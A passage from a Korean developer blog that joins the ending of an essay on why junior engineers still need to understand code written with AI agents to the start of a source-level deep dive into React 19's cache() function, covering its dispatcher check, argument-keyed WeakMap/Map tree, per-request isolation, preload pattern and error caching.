**4. AI가 틀렸고 내가 잡은 사례를 기록한다.** 생성기 이해는 별도 학습이 거의 필요 없다. 매일 에이전트를 쓰면서 "이번 주에 모델이 자신 있게 틀린 것, 내가 어떻게 알아챘는지" 로그 하나를 유지하면 된다. 이것이 주니어 수준에서 당장 할 수 있는, AI를 의심하고 검증하는 훈련이고, 1번 규칙과 맞물려 자연스럽게 돌아간다. 틀림을 잡으려면 읽어야 하기 때문이다.

경고할 함정도 하나 있다. 주니어는 1번을 건너뛰고 워크플로우 숙련으로 직행하고 싶어할 것이다. 그쪽이 현대적이고 시장성 있어 보이기 때문이다. 더 나쁜 건 단기적으로는 시장이 그걸 보상한다는 것이다. 에이전트로 티켓을 빨리 쳐내면 생산적으로 보인다. 하지만 시스템 이해 없는 워크플로우 숙련은 최후의 보루 없는 프로세스 관리이고, 첫 대형 장애에서 정체가 드러난다. 그때는 이미 몇 년이 지나 있다.

마지막으로, 이건 주니어만의 숙제가 아니다. 예전에는 일이 이 순서를 자동으로 강제했는데 이제 아니므로, **순서를 강제하는 것은 시니어의 설계 책임이 됐다.** 리뷰에서 "이거 왜 이렇게 했어?"를 실제로 묻는 것, 장애 대응에 주니어를 의도적으로 투입하는 것, 머지 설명을 문화로 만드는 것. 주니어에게 목표를 주는 일의 절반은, 그 목표가 작동할 환경을 시니어가 만드는 일이다.

## 마치며

처음 질문에 답하자. 코드를 읽거나 설명할 줄 몰라도, 스펙을 만족하고 버그를 고칠 수 있다면 상관없을까.

정직하게 양보부터 하면, 상관없는 영역이 실존한다. 수명이 짧고, 영향 범위가 격리돼 있고, 실패가 즉시 보이고, 실패 비용이 낮은 소프트웨어. 일회성 스크립트, 프로토타입, 내부 도구. 이 영역에서 "그래도 이해해야 한다"고 우기는 건 낭만주의이고, 이 영역은 좁지 않으며 커지고 있다.

하지만 그 경계 바깥 — 오래 살고, 돈이 걸려 있고, 실패가 한참 뒤에야 드러나는 소프트웨어 — 에서는 조건문 자체가 성립하지 않는다. 스펙 만족을 확인하는 것도, 버그를 발견하는 것도, 어떤 코드에 이 논리를 적용해도 되는지 판단하는 것도 전부 이해를 요구하기 때문이다. "이 코드는 이해 안 해도 되는 코드다"라는, 어떤 코드인지 가려내는 판단부터가 이해 능력을 요구한다. 읽을 줄 모르는 사람은 자기 질문의 적용 범위조차 정할 수 없다.

그래서 최종 답은 이것이다.

**이해가 필요 없는 코드는 실존한다. 그러나 그 경계선은 이해할 줄 아는 사람만 그을 수 있다.**

읽기의 빈도는 줄어도 된다. 읽기의 능력은 줄면 안 된다.

> 이 질문을 코드 바깥으로 가져가면 어떻게 될까. 같은 논리를 기획·개발·디자인의 직군 경계에 적용한 다음 글 — [AI가 기획·개발·디자인의 경계를 지운다면, 무엇이 남는가](https://yceffort.kr/2026/06/when-job-titles-blur)로 이어진다.

## 참고 자료

- [Linus Torvalds Talks AI, Vibe Coding and Programmer Productivity](https://thenewstack.io/torvalds-ai-programming-productivity/) (리누스 토르발스가 말하는 AI, 바이브 코딩, 그리고 프로그래머 생산성) - The New Stack
- [Software Design in the Age of AI](https://self-service.mirdin.com/software-design-in-the-age-of-ai) (AI 시대의 소프트웨어 설계) - Jimmy Koppel
- [Is AI Actually Making Developers More Productive?](https://joshcollinsworth.com/blog/productivity) (AI는 정말 개발자를 더 생산적으로 만드는가?) - Josh Collinsworth
- [Measuring the Impact of Early-2025 AI on Experienced Open-Source Developer Productivity](https://arxiv.org/abs/2507.09089) (2025년 초의 AI가 숙련 오픈소스 개발자의 생산성에 미친 영향) - METR
- [Expectations, Outcomes, and Challenges of Modern Code Review](https://dl.acm.org/doi/10.5555/2486788.2486882) (현대 코드 리뷰의 기대, 결과, 그리고 과제) - Bacchelli & Bird (ICSE 2013)
- [Zero Trust for AI Agents](https://claude.com/blog/zero-trust-for-ai-agents) (AI 에이전트를 위한 제로 트러스트) - Anthropic

---

Source: https://yceffort.kr/2026/05/react-cache-function-deep-dive.md
Title: React <em>cache()</em> 딥다이브: 소스 코드로 읽는 요청 단위 메모이제이션
Description: React cache() 함수의 모든 이상한 규칙은 30여 줄짜리 구현에서 직접 따라 나온다. dispatcher, getCacheForType, WeakMap/Map 트리를 소스 레벨로 따라가며 요청 단위 메모이제이션의 동작을 끝까지 본다.
Date: 2026-05-30
Tags: react, react-server-components, memoization, performance, frontend

## Table of Contents

## 서론

`cache()`는 React 19에 정식 추가된 API[^1]다. 그런데 막상 쓰면 직관이 자꾸 빗나간다. DB 쿼리를 감쌌는데 쿼리는 여전히 두 번 나가고, 같은 코드를 클라이언트 컴포넌트로 옮겼더니 아무 일도 일어나지 않고, 인자를 객체로 바꿨더니 캐시가 통째로 안 먹는다. 공식 문서에는 "Server Component 안에서만", "컴포넌트 밖에서는 동작 안 함", "모듈 최상위에서 한 번만 감싸기", "매 요청마다 캐시 초기화" 같은 규칙이 한 다발 적혀 있는데, 정작 왜 그런지는 알려주지 않는다.

규칙을 다 외우면 쓸 수는 있다. 그런데 외울 필요가 없다. 이 규칙들은 전부 **하나의 작은 구현에서 기계적으로 따라 나오는 결과**이기 때문이다. `ReactCacheImpl.js`의 `cache()`는 디스패처가 있는지 확인하는 가드 한 줄, 인자를 따라 자료구조를 한 단계씩 내려가는 루프, 반환값을 레퍼런스 그대로 저장하는 한 줄 — 사실상 이게 전부다. 이 30여 줄을 읽고 나면 위 규칙들이 "왜"까지 한꺼번에 풀린다.

그래서 이 글은 `cache()`의 사용법이 아니라 **구현**을 따라간다. `facebook/react`의 `ReactCacheImpl.js`[^2]와 Flight 서버의 요청 단위 캐시 저장소[^5]를 직접 읽으면서, 왜 RSC 전용인지, 왜 컴포넌트 밖에서는 안 되는지, 왜 객체 인자가 위험한지, 왜 실패한 fetch가 재시도되지 않는지를 소스 레벨로 설명한다.

> 시작하기 전에 한 가지. 이 글의 주인공은 **`react`에서 import하는 `cache()` 함수**다. Next.js의 **`'use cache'` 디렉티브**와는 전혀 다른 물건이다. 이름이 비슷해 자주 혼동되는데, 그 차이는 [`'use cache'` 디렉티브 딥다이브](/2026/05/use-cache-deep-dive)에서 따로 다뤘다. 둘의 경계는 아래 [먼저 결론](#먼저-결론) 바로 다음 절에서 명확히 정리한다.
>
> 소스 분석은 `facebook/react`의 **`v19.2.6` 태그**(이 글을 쓰는 시점의 최신 stable) 기준이다. `main`은 시점에 따라 바뀌므로 고정 태그로 인용하고, 본문의 모든 GitHub 링크도 이 태그를 가리킨다. 참고로 `cache()`는 React 19.0.0부터, 뒤에 나오는 `cacheSignal()`은 19.2.0부터 stable에 포함됐다.

## 먼저 결론

내부로 들어가기 전에 요약부터 둔다. 길게 안 읽어도 이 정도는 남기면 좋다.

- `cache()`는 **단일 서버 요청(렌더 패스) 안에서만** 동작하는 메모이제이션이다. 요청이 끝나면 캐시는 폐기되고, 요청·유저 간에 절대 공유되지 않는다. 영속 캐시가 아니다.
- 메모이즈 여부는 **`ReactSharedInternals.A`(AsyncDispatcher)의 존재**로 결정된다. 이게 `null`이면(클라이언트, 컴포넌트 밖) 캐싱을 통째로 건너뛰고 함수를 그냥 실행한다. "RSC 전용", "컴포넌트 밖에서는 안 됨"이라는 두 규칙의 정체가 바로 이 한 줄이다.
- 캐시는 **함수 레퍼런스와 인자로 만든 트리**다. 객체/함수 인자는 레퍼런스를 키로 `WeakMap`에, 원시값은 값을 키로 `Map`에 들어간다. 그래서 매 렌더 새 객체를 넘기면 항상 미스다.
- 반환값은 **레퍼런스 그대로** 저장된다. async 함수면 같은 Promise 객체가 캐시되어, 트리 곳곳의 `await`가 하나의 in-flight 요청을 공유한다. 이게 요청 중복 제거와 `preload` 패턴의 원리다.
- 에러 캐싱은 **비대칭**이다. 동기 `throw`만 `ERRORED` 상태로 저장되고, async 함수의 거부(rejected)는 거부 프로미스가 값으로 저장된다. 어느 쪽이든 **같은 요청 안에서는 재시도되지 않는다.**

각 항목의 근거가 본문이다.

## cache()는 'use cache'도 useMemo도 아니다

가장 먼저 정리할 게 이름의 혼란이다. 서버 캐싱 도구가 한꺼번에 쏟아지면서 `cache()`, `'use cache'`, `unstable_cache`, fetch 메모, `useMemo`가 머릿속에서 뒤섞인다. 결과만 보면 다 "같은 입력에 같은 출력, 두 번째 호출은 빠름"이라 비슷해 보인다. 하지만 **스코프와 지속성**이 다 다르다.

| 도구                   | 런타임 / 스코프               | 키                              | 지속성                          |
| ---------------------- | ----------------------------- | ------------------------------- | ------------------------------- |
| `useMemo(fn, deps)`    | 클라이언트, 컴포넌트 인스턴스 | 의존성 배열 참조 동등성         | 비영속 (리렌더·언마운트로 폐기) |
| **`cache(fn)`**        | **서버(RSC), 단일 요청 렌더** | **fn 레퍼런스 + 인자 identity** | **비영속 (요청 끝나면 폐기)**   |
| `fetch()` 메모         | 서버(RSC), 단일 요청 렌더     | URL + 옵션                      | 비영속 (렌더 한정)              |
| fetch Data Cache       | 서버, 요청을 가로지름         | URL + 옵션 + tags               | 영속 (revalidate / tag)         |
| `unstable_cache`       | 서버, 요청을 가로지름         | keyParts + 인자                 | 영속                            |
| `'use cache'` 디렉티브 | 서버, 요청을 가로지름         | buildId + fnId + 직렬화된 인자  | 영속 (호스팅 의존)              |
| React Query / SWR      | 클라이언트                    | query key                       | 세션 동안 영속                  |

핵심 경계는 굵게 표시한 줄이다. `cache()`는 위쪽 그룹(요청 단위 비영속)에 속하고, `'use cache'`/`unstable_cache`/Data Cache는 아래쪽 그룹(요청을 가로지르는 영속 캐시)이다.

이 차이가 둘을 헷갈리면 안 되는 이유다. `'use cache'`는 결과를 **직렬화해서** 키-값 저장소에 넣고 요청이 끝나도, 심지어 다음 요청에서도 재사용한다. 그래서 인자가 직렬화 가능해야 하고 `cookies()`를 직접 못 읽는다. 반면 `cache()`는 결과를 **자바스크립트 레퍼런스 그대로** 메모리에 들고 있다가 요청이 끝나면 버린다. 직렬화가 없으니 Promise든 클래스 인스턴스든 뭐든 캐시할 수 있다. 대신 요청 밖으로는 한 발도 못 나간다.

> 한 문장으로: **`'use cache'`는 "요청을 넘기는 저장소", `cache()`는 "요청 하나를 사는 메모", `useMemo`는 "컴포넌트 하나를 사는 메모"다.** 이름이 비슷할 뿐 사는 시간이 전부 다르다.

이제 `cache()`가 정확히 "요청 하나를 사는" 방식을 구현으로 본다. 출발점은 디스패처다.

## 디스패처가 모든 것을 정한다

`cache(fn)`이 반환하는 함수의 첫 줄을 보자.

```js
export function cache(fn) {
  return function () {
    const dispatcher = ReactSharedInternals.A
    if (!dispatcher) {
      // 디스패처가 없으면 캐시되지 않은 것으로 취급한다.
      return fn.apply(null, arguments)
    }
    // ... 여기서부터 실제 캐싱 ...
  }
}
```

`ReactSharedInternals`는 React 패키지들(`react`, `react-dom`, `react-reconciler`, `react-server`) 사이의 공유 통신 채널이다. 이들은 따로 배포되는 패키지라 서로의 내부를 직접 import할 수 없어서, `react`가 가변 객체 하나를 노출하고 나머지가 그걸 읽고 쓴다. 안에는 렌더 도중 바뀌는 "현재 디스패처"들이 한 글자 슬롯에 담겨 있다 — `H`는 훅 디스패처(`useState` 등이 타는 길), `T`는 트랜지션 설정, 그리고 우리가 보는 **`A`가 AsyncDispatcher**다[^4]. 슬롯 주석 그대로 `ReactCurrentCache`, 즉 "현재 캐시"를 가리킨다.

이 객체가 예전에 `__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED`(직역하면 "쓰면 해고된다")라는 이름으로 노출되던, 그 악명 높은 내부 객체다. React 19에서 이 이름은 여러 PR에 걸친 내부 정리를 거쳐 [덜 극적인 `__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE`로 바뀌었지만](https://github.com/facebook/react/pull/28789), 손대지 말라는 의도는 그대로다.

이 디스패처는 **React가 서버에서 RSC를 렌더하는 동안에만** 채워진다. Flight 서버 런타임이 렌더를 시작할 때 `A`에 자기 디스패처를 꽂고, 렌더가 끝나면 비운다. 그 외의 모든 상황 — 클라이언트 번들, 컴포넌트 바깥의 모듈 최상위 코드, 일반 이벤트 핸들러 — 에서 `A`는 `null`이다.

그러니까 `if (!dispatcher) return fn.apply(null, arguments)` 이 한 줄이 공식 문서가 말하는 두 가지 함정의 정체다.

- **"cache is for use in Server Components only."** 클라이언트에는 디스패처가 없으니 캐싱을 건너뛴다.
- **"Calling a memoized function outside of a component will not use the cache."** 컴포넌트 밖에서 부르면 렌더 컨텍스트가 아니라 디스패처가 없고, 역시 건너뛴다.

둘 다 에러가 아니다. **조용히 그냥 함수를 실행할 뿐이다.** 그래서 "왜 캐시가 안 먹지?"가 디버깅하기 까다롭다. 동작은 멀쩡한데 캐시만 빠진다.

클라이언트에서의 무력화는 사실 **두 겹**으로 막혀 있다. React 패키지는 서버 엔트리(`ReactServer.js`)와 클라이언트 엔트리(`ReactClient.js`)가 갈리는데, 클라이언트 엔트리가 import하는 `ReactCacheClient.js`는 이렇게 되어 있다[^3].

```js
// ReactCacheClient.js (개념적으로)
export const cache = disableClientCache ? noopCache : cacheImpl
```

`ReactFeatureFlags.js`의 `disableClientCache`가 기본 `true`다. 즉 클라이언트에서 import하는 `cache`는 실제 구현이 아니라 그냥 `fn`을 호출하고 끝내는 `noopCache`다. `noopCache`에 달린 주석은 솔직하다 — "We intend to implement client caching in a future major release." 설령 이 플래그가 꺼져 실제 구현으로 연결돼도, 위에서 봤듯 클라이언트에는 `A`가 `null`이라 어차피 `fn.apply`로 떨어진다.

> 참고로, `arguments`와 `fn.apply(null, arguments)`를 쓰는 것도 의도된 선택이다. 소스 주석에 "rest 파라미터를 쓰면 트랜스파일 결과가 커지므로 안 쓴다"고 적혀 있다. 핫패스로 취급해 한 톨이라도 아끼겠다는 뜻이다.

## 캐시는 함수와 인자로 만든 트리다

디스패처가 있으면 본격적인 캐싱이 시작된다. 캐시의 자료구조는 함수와 인자를 따라 가지를 치는 **트리**다. 함수 자체가 루트이고, 인자 하나하나가 그 아래로 한 단계씩 가지를 뻗는다. 같은 함수에 같은 인자로 호출하면 같은 가지 끝(노드)에 도착하고, 거기에 결과가 매달린다.

먼저 노드부터. 캐시의 각 노드는 이렇게 생겼다.

```js
const UNTERMINATED = 0 // 아직 값 없음
const TERMINATED = 1 // 결과 저장됨
const ERRORED = 2 // 에러 저장됨

function createCacheNode() {
  return {
    s: UNTERMINATED, // status: 위 셋 중 하나
    v: undefined, // value: 결과 또는 던져진 에러 (s에 따라 의미가 달라짐)
    o: null, // object cache: 비-원시 인자용 WeakMap
    p: null, // primitive cache: 원시 인자용 Map
  }
}
```

`s`, `v`, `o`, `p` 네 글자가 전부다. `v` 하나를 결과와 에러가 공유하고, `s`로 어느 쪽인지 구분한다. `o`와 `p`는 다음 인자로 내려가는 두 갈래 길이다.

이제 전체 구현을 보자. 위에서 본 디스패처 가드 다음에 이어지는 부분이다.

```js
export function cache(fn) {
  return function () {
    const dispatcher = ReactSharedInternals.A
    if (!dispatcher) {
      return fn.apply(null, arguments)
    }

    // 1) 요청 단위 WeakMap을 얻고, 그 안에서 이 fn의 루트 노드를 찾는다
    const fnMap = dispatcher.getCacheForType(createCacheRoot)
    let cacheNode = fnMap.get(fn)
    if (cacheNode === undefined) {
      cacheNode = createCacheNode()
      fnMap.set(fn, cacheNode)
    }

    // 2) 인자 하나마다 트리를 한 단계씩 내려간다
    for (let i = 0; i < arguments.length; i++) {
      const arg = arguments[i]
      if (
        typeof arg === 'function' ||
        (typeof arg === 'object' && arg !== null)
      ) {
        // 객체/함수: 레퍼런스를 키로 WeakMap에 저장
        let objectCache = cacheNode.o
        if (objectCache === null) cacheNode.o = objectCache = new WeakMap()
        let next = objectCache.get(arg)
        if (next === undefined) objectCache.set(arg, (next = createCacheNode()))
        cacheNode = next
      } else {
        // 원시값(null 포함): 값을 키로 Map에 저장
        let primitiveCache = cacheNode.p
        if (primitiveCache === null) cacheNode.p = primitiveCache = new Map()
        let next = primitiveCache.get(arg)
        if (next === undefined)
          primitiveCache.set(arg, (next = createCacheNode()))
        cacheNode = next
      }
    }

    // 3) 마지막 노드의 상태로 분기
    if (cacheNode.s === TERMINATED) return cacheNode.v
    if (cacheNode.s === ERRORED) throw cacheNode.v

    try {
      const result = fn.apply(null, arguments)
      cacheNode.s = TERMINATED
      cacheNode.v = result
      return result
    } catch (error) {
      cacheNode.s = ERRORED
      cacheNode.v = error
      throw error
    }
  }
}
```

원본은 Flow 타입과 좀 더 장황한 분기를 쓰지만 동작은 이게 전부다. 세 단계를 풀어 본다.

### 1단계: 함수 identity가 루트다

`dispatcher.getCacheForType(createCacheRoot)`가 돌려주는 `fnMap`은 **이번 요청 동안만 사는 WeakMap**이다(이게 어떻게 요청 단위인지는 [다음 절](#요청-단위-격리는-어디서-오는가)에서 본다). 이 WeakMap의 키는 **원본 `fn` 레퍼런스**다.

여기서 공식 문서의 가장 헷갈리는 규칙이 풀린다.

> "Calling cache with the same function multiple times will return different memoized functions that do not share the same cache."

`cache(fn)`을 두 번 호출하면 wrapper 함수는 서로 다른 두 개가 나온다. 하지만 WeakMap의 키로 쓰이는 건 wrapper가 아니라 **넘긴 원본 `fn`**이다. 그러니 같은 `fn`을 넘겨 만든 wrapper들은 트리 어디서 호출되든 같은 루트 노드를 공유한다.

그런데 보통은 이렇게들 쓴다.

```tsx
// 매 렌더마다 cache()를 다시 호출해 새 wrapper 생성 — 흔히 안티패턴으로 불린다
export function Temperature({cityData}) {
  const getWeekReport = cache(calculateWeekReport)
  const report = getWeekReport(cityData)
  return <p>{report}</p>
}
```

공식 문서는 이걸 안티패턴으로 못 박는다 — wrapper가 매 렌더 새로 생기니 "creates a new memoized function each time the component is rendered which doesn't allow for any cache sharing"라고([cache – React 공식 문서](https://react.dev/reference/react/cache)). 그런데 **소스 기준으로는 틀린 설명이다.** 앞서 봤듯 루트 노드의 키는 wrapper가 아니라 원본 `fn`(`calculateWeekReport`)이고, 그건 모듈 레벨이라 매번 같다. wrapper를 매 렌더 새로 만들어 버려도 호출 시점엔 전부 같은 요청 단위 WeakMap에서 같은 `calculateWeekReport` 키로 같은 노드에 도착한다. 그래서 **같은 인자로 부르는 한 캐시는 실제로 공유된다.** 다른 컴포넌트가 `cache(calculateWeekReport)`를 따로 감싸 불러도 마찬가지다 — 문서 표현과 달리 공유는 된다.

캐시를 정말로 깨뜨리는 건 wrapper의 정체성이 아니다. (1) `cache((c) => …)`처럼 **`fn`을 컴포넌트 안에서 인라인 정의**해 `fn` 레퍼런스가 매 렌더 바뀌거나, (2) **인자를 매번 새 객체로** 넘기는 경우(아래 2단계)다. 위 예제는 둘 다 아니라서 사실은 동작한다.

그렇다면 왜 여전히 "모듈 레벨에서 한 번만 감싸라"고 할까. 공유가 되더라도 — 매 렌더 throwaway wrapper를 만드는 사소한 비용, 문서가 보장하지 않는 동작에 기대는 취약함, 누군가 `fn`을 인라인으로 바꾸는 순간 조용히 깨지는 위험 때문이다. 권장 형태는 전용 모듈에서 한 번만 감싸고 import해 쓰는 것이다.

```tsx
// getWeekReport.js — 전용 모듈에서 한 번만 정의
import {cache} from 'react'
export default cache(calculateWeekReport)

// 사용처: 같은 메모이즈 함수를 import해서 공유
import getWeekReport from './getWeekReport'

export function Temperature({cityData}) {
  const report = getWeekReport(cityData) // 트리 어디서 불러도 같은 캐시
  return <p>{report}</p>
}
```

"모듈 레벨에서 한 번만 감싸라"는 규칙은 캐시를 _동작하게 만드는_ 필수 조건이라서가 아니라 — `fn` 레퍼런스를 안정적으로 고정하고 위 세 취약함을 한 번에 없애기 때문에 권장된다.

### 2단계: 인자는 트리를 한 단계씩 내려간다

루트 노드를 잡았으면 인자 배열을 순회하며 한 단계씩 내려간다. 분기 조건이 핵심이다.

```js
if (typeof arg === 'function' || (typeof arg === 'object' && arg !== null)) {
  // 객체/함수 → WeakMap (레퍼런스 키)
} else {
  // 원시값 → Map (값 키)
}
```

객체와 함수는 노드의 `o`(WeakMap)에 **레퍼런스 그 자체를 키로** 들어간다. 문자열·숫자·boolean·`undefined`, 그리고 `null`은 `p`(Map)에 **값을 키로** 들어간다. `typeof null === 'object'`라는 자바스크립트의 유명한 함정을 `arg !== null` 가드가 막아, `null`은 원시 쪽 Map으로 라우팅된다.

이 분기가 **객체 인자의 위험**을 설명한다. 공식 문서는 "shallow equality, `Object.is`로 비교한다"고 표현하지만, 실제 룩업은 그냥 Map/WeakMap의 키 동등성이다. 객체 인자는 결국 레퍼런스 동등성으로 귀결된다. 그래서 이런 코드가 조용히 망가진다.

```tsx
// data.js
import {cache} from 'react'
export const getReport = cache((opts) => calc(opts.x, opts.y, opts.z))

// Cell.tsx (Server Component)
function Cell({x, y, z}) {
  // 🚩 매 렌더 새 객체 리터럴 → WeakMap이 매번 다른 키 → 항상 miss
  const report = getReport({x, y, z})
  return <pre>{report}</pre>
}
```

`{x, y, z}`는 값이 같아도 매번 새 객체다. WeakMap 입장에서는 매번 다른 키라 캐시가 한 번도 안 맞는다. 해법은 둘이다 — **원시값으로 풀어서 넘기거나**, **안정적인 레퍼런스를 공유하거나.**

```tsx
// (a) 원시값으로: 원시 Map은 값을 키로 쓰니 같은 값이면 히트
export const getReport = cache((x, y, z) => calc(x, y, z))
function Cell({x, y, z}) {
  return <pre>{getReport(x, y, z)}</pre>
}

// (b) 안정적 레퍼런스 공유: 한 번 만든 객체를 여러 곳에 그대로 전달
function App() {
  const vector = [10, 10, 10] // 한 번만 생성
  return (
    <>
      <Marker vector={vector} />
      <Marker vector={vector} /> {/* 같은 레퍼런스 → 히트 */}
    </>
  )
}
```

트리라는 점도 짚어둘 만하다. 인자가 `(a, b, c)`면 루트 → `a` 노드 → `b` 노드 → `c` 노드로 세 단계를 내려가고, 마지막 노드에 결과가 매달린다. 인자 순서대로 가지가 갈리므로, 앞 인자가 같고 뒤가 다르면 중간 노드까지는 경로를 공유한다. 가변 인자도 자연스럽게 처리된다 — 인자 개수만큼만 내려가면 되니까.

### 3단계: 마지막 노드의 상태로 분기

인자를 다 내려가면 도착한 노드의 `s`를 본다.

- `TERMINATED`(1)면 저장된 `v`를 그대로 반환. **캐시 히트.**
- `ERRORED`(2)면 저장된 에러 `v`를 다시 `throw`. **에러도 캐시된다.**
- 그 외(`UNTERMINATED`)면 `fn`을 실행하고, 결과를 `TERMINATED`로(또는 던져진 에러를 `ERRORED`로) 저장한 뒤 반환.

여기서 두 가지 디테일이 나온다. 하나는 반환값 저장 방식, 하나는 에러 캐싱의 비대칭. 각각 절을 따로 둘 만큼 중요하다. 그 전에, 이 모든 게 "요청 단위"인 이유부터 마무리하자.

## 요청 단위 격리는 어디서 오는가

지금까지 `ReactCacheImpl.js`에는 "요청"이라는 단어가 한 번도 안 나왔다. 트리도, 노드도 요청을 모른다. **요청 단위 격리는 `cache()` 구현이 아니라 디스패처가 제공한다.** 정확히는 `getCacheForType`이.

`cache()`가 부르는 건 `dispatcher.getCacheForType(createCacheRoot)` 한 줄이었다. 이 디스패처는 Flight 서버 런타임이 꽂아둔 것이고, `getCacheForType`은 **현재 Request의 캐시 저장소**를 읽는다. 대략 이렇게 생겼다[^5].

```js
// Flight 서버의 getCacheForType (개념적으로)
function getCacheForType(resourceType) {
  const cache = getCache() // 현재 Request의 cache — 평범한 Map
  let entry = cache.get(resourceType)
  if (entry === undefined) {
    entry = resourceType() // 처음이면 팩토리 호출 → createCacheRoot() → 새 WeakMap
    cache.set(resourceType, entry)
  }
  return entry
}
```

그리고 Flight 서버는 **요청(Request)마다** 새 저장소를 만든다.

```js
// ReactFlightServer.js의 Request 인스턴스 (발췌)
this.cache = new Map()
this.cacheController = new AbortController()
```

여기서 캐시 계층이 두 겹이라는 걸 헷갈리면 안 된다.

1. **`request.cache`** 는 평범한 `Map`이다. 키는 `resourceType`, 즉 `cache()`가 넘긴 `createCacheRoot` 팩토리 함수다.
2. 그 Map이 돌려주는 값이 **`createCacheRoot()`가 만든 `WeakMap`**이다. `cache()` 내부 트리의 루트가 바로 이것이다.

모든 `cache()` 호출은 같은 모듈 레벨 `createCacheRoot` 레퍼런스를 넘기므로, 한 요청 안에서는 전부 **같은 WeakMap 하나**를 공유한다. 그 WeakMap 안에서 다시 `fn`별로 갈리고, 인자별로 트리가 갈린다. 요청이 바뀌면 `request.cache`가 새 Map이 되니 `createCacheRoot`도 다시 호출되어 WeakMap이 새로 만들어진다. **그래서 다음 요청에서는 처음부터 다시다.**

> 디스패처 객체 자체는 프로세스 전역이지만, 그게 돌려주는 캐시는 "현재 Request"의 것이다. 그래서 **디스패처를 공유한다고 캐시가 공유되는 게 아니다.** 동시에 들어온 두 요청은 각자의 Request → 각자의 `cache` Map → 격리된 캐시를 받는다. 유저 A의 `getUser('me')` 결과가 유저 B에게 새는 일이 구조적으로 불가능한 이유다.

"현재 Request"를 어떻게 찾느냐가 마지막 퍼즐이다. 동기 실행 구간에서는 모듈 레벨 `currentRequest` 변수로, `await`를 건너 비동기로 이어지는 구간에서는 Node의 `async_hooks` 기반 `AsyncLocalStorage`로 현재 요청을 해소한다[^5]. 비동기 경계를 넘어도 같은 요청의 캐시를 보게 만드는 장치다.

한 가지 더 — **요청 내부에는 eviction이 없다.** TTL도, LRU도, 크기 제한도 없다. 한 번 캐시된 값은 요청이 끝날 때까지 그대로 남고, 요청이 끝나면 Request와 함께 통째로 버려진다. 객체 키 하위 트리는 WeakMap이라 키 객체가 어디서도 참조되지 않으면 GC 대상이 될 수는 있지만, 이건 의도된 캐시 정책이 아니라 부수효과다. `cache()`는 **읽기 메모이제이션 프리미티브**지 관리되는 캐시 스토어가 아니다.

> Next.js App Router가 이걸 어떻게 엮는지는 React 소스만으로 단정하긴 어렵다. 다만 App Router가 RSC를 렌더할 때 Flight Request를 만드는 구조이므로, 실무적으로 `cache()`의 캐시 수명은 **"한 라우트의 한 서버 렌더, 한 요청"**과 정렬된다고 보면 된다. (이 부분은 React의 요청 단위 의미로부터의 동작 추론이고, Next 내부 콜사이트를 직접 확인한 건 아니다.)

## 반환값은 레퍼런스로 저장된다: preload와 in-flight 공유

3단계의 캐시 미스 처리를 다시 보자.

```js
const result = fn.apply(null, arguments)
cacheNode.s = TERMINATED
cacheNode.v = result
return result
```

`await`도, `.then`도 없다. **`fn`의 반환값을 레퍼런스 그대로 저장한다.** `fn`이 async 함수면 `result`는 Promise 객체이고, 그 **같은 Promise**가 노드에 박힌다.

이게 별것 아닌 것 같지만 강력한 결과를 낳는다. 트리 곳곳에서 같은 인자로 cached async 함수를 부르면, 첫 호출이 만든 **하나의 in-flight Promise**를 모두가 공유한다. DB 쿼리는 한 번만 나가고, 나머지 `await`는 같은 프로미스가 resolve되기를 같이 기다린다. fetch는 자동으로 dedup되지만 DB·ORM 쿼리는 그렇지 않은데, `cache()`가 바로 그 빈자리를 메운다.

이 성질이 **`preload` 패턴**의 토대다. 데이터가 필요한 컴포넌트가 렌더되기 전에, 미리 한 번 호출해 작업을 시작시켜 두는 것이다.

```tsx
// user.js
import {cache} from 'react'
export const getUser = cache((id: string) => db.user.findById(id))
export function preload(id: string) {
  void getUser(id) // 결과를 안 쓰고 버린다 — 목적은 "시작"
}

// page.tsx
import {getUser, preload} from './user'

export default async function Page({id}: {id: string}) {
  preload(id) // 자식이 렌더되기 전에 쿼리를 미리 발사
  return <Profile id={id} />
}

// profile.tsx
async function Profile({id}: {id: string}) {
  const user = await getUser(id) // 같은 in-flight 프로미스에 히트 — 추가 쿼리 없음
  return <h1>{user.name}</h1>
}
```

`preload(id)`가 발사한 프로미스가 캐시에 저장되어 있으니, 나중에 `Profile`이 `await getUser(id)`를 해도 같은 프로미스를 받는다. 워터폴(부모 fetch 끝나야 자식 fetch 시작)을 한 단계 줄이는 흔한 기법이다.

> 단, `preload`를 **컴포넌트 안에서** 호출해야 한다는 점을 잊으면 안 된다. 모듈 최상위에서 `getUser('demo')`를 부르면? 디스패처가 없으니 캐싱 없이 그냥 실행되고, 정작 컴포넌트가 부를 때는 빈 캐시라 또 실행된다. 앞 절의 디스패처 가드가 여기서도 작동한다.

## 에러 캐싱의 비대칭: 동기 throw vs async rejection

3단계의 `try/catch`를 다시 보자.

```js
try {
  const result = fn.apply(null, arguments)
  cacheNode.s = TERMINATED
  cacheNode.v = result
  return result
} catch (error) {
  cacheNode.s = ERRORED
  cacheNode.v = error
  throw error
}
```

`try/catch`는 `fn.apply`가 **동기적으로 던지는 throw만** 잡는다. 동기 함수가 throw하면 노드는 `ERRORED`가 되고, 같은 인자로 다시 부르면 저장된 에러가 그대로 다시 던져진다. 소스 주석 그대로 — "We store the first error that's thrown and rethrow it."

그런데 **async 함수는 동기적으로 throw하지 않는다.** 내부에서 에러가 나도 async 함수는 _정상적으로_ "나중에 거부될 Promise"를 반환한다. 그러니 `try/catch`는 발동하지 않고, 노드는 `ERRORED`가 아니라 `TERMINATED`가 된다. 저장되는 `v`는 **그 거부될 프로미스 자체**다.

결과적으로 이렇게 된다.

```tsx
export const getUser = cache(async (id: string) => {
  const res = await fetch(`/api/user/${id}`)
  if (!res.ok) throw new Error('fetch failed') // 동기 throw가 아니다 → 거부 프로미스
  return res.json()
})
```

첫 호출이 거부되면, **같은 요청 안의 모든 후속 `await getUser(id)`는 동일한 거부 프로미스를 받는다.** `fetch`는 다시 실행되지 않는다. 즉 같은 요청에서는 실패도 한 번 캐시되면 재시도가 없다.

정리하면 이렇다.

| 케이스              | 노드 상태    | 저장되는 값         | 같은 요청 재호출 시                     |
| ------------------- | ------------ | ------------------- | --------------------------------------- |
| 동기 함수가 `throw` | `ERRORED`    | 던져진 에러         | 저장된 에러를 다시 `throw`              |
| async 함수가 reject | `TERMINATED` | 거부될 Promise      | 같은 거부 프로미스 재사용 (재시도 없음) |
| 정상 반환           | `TERMINATED` | 결과 (또는 Promise) | 같은 값/프로미스 재사용                 |

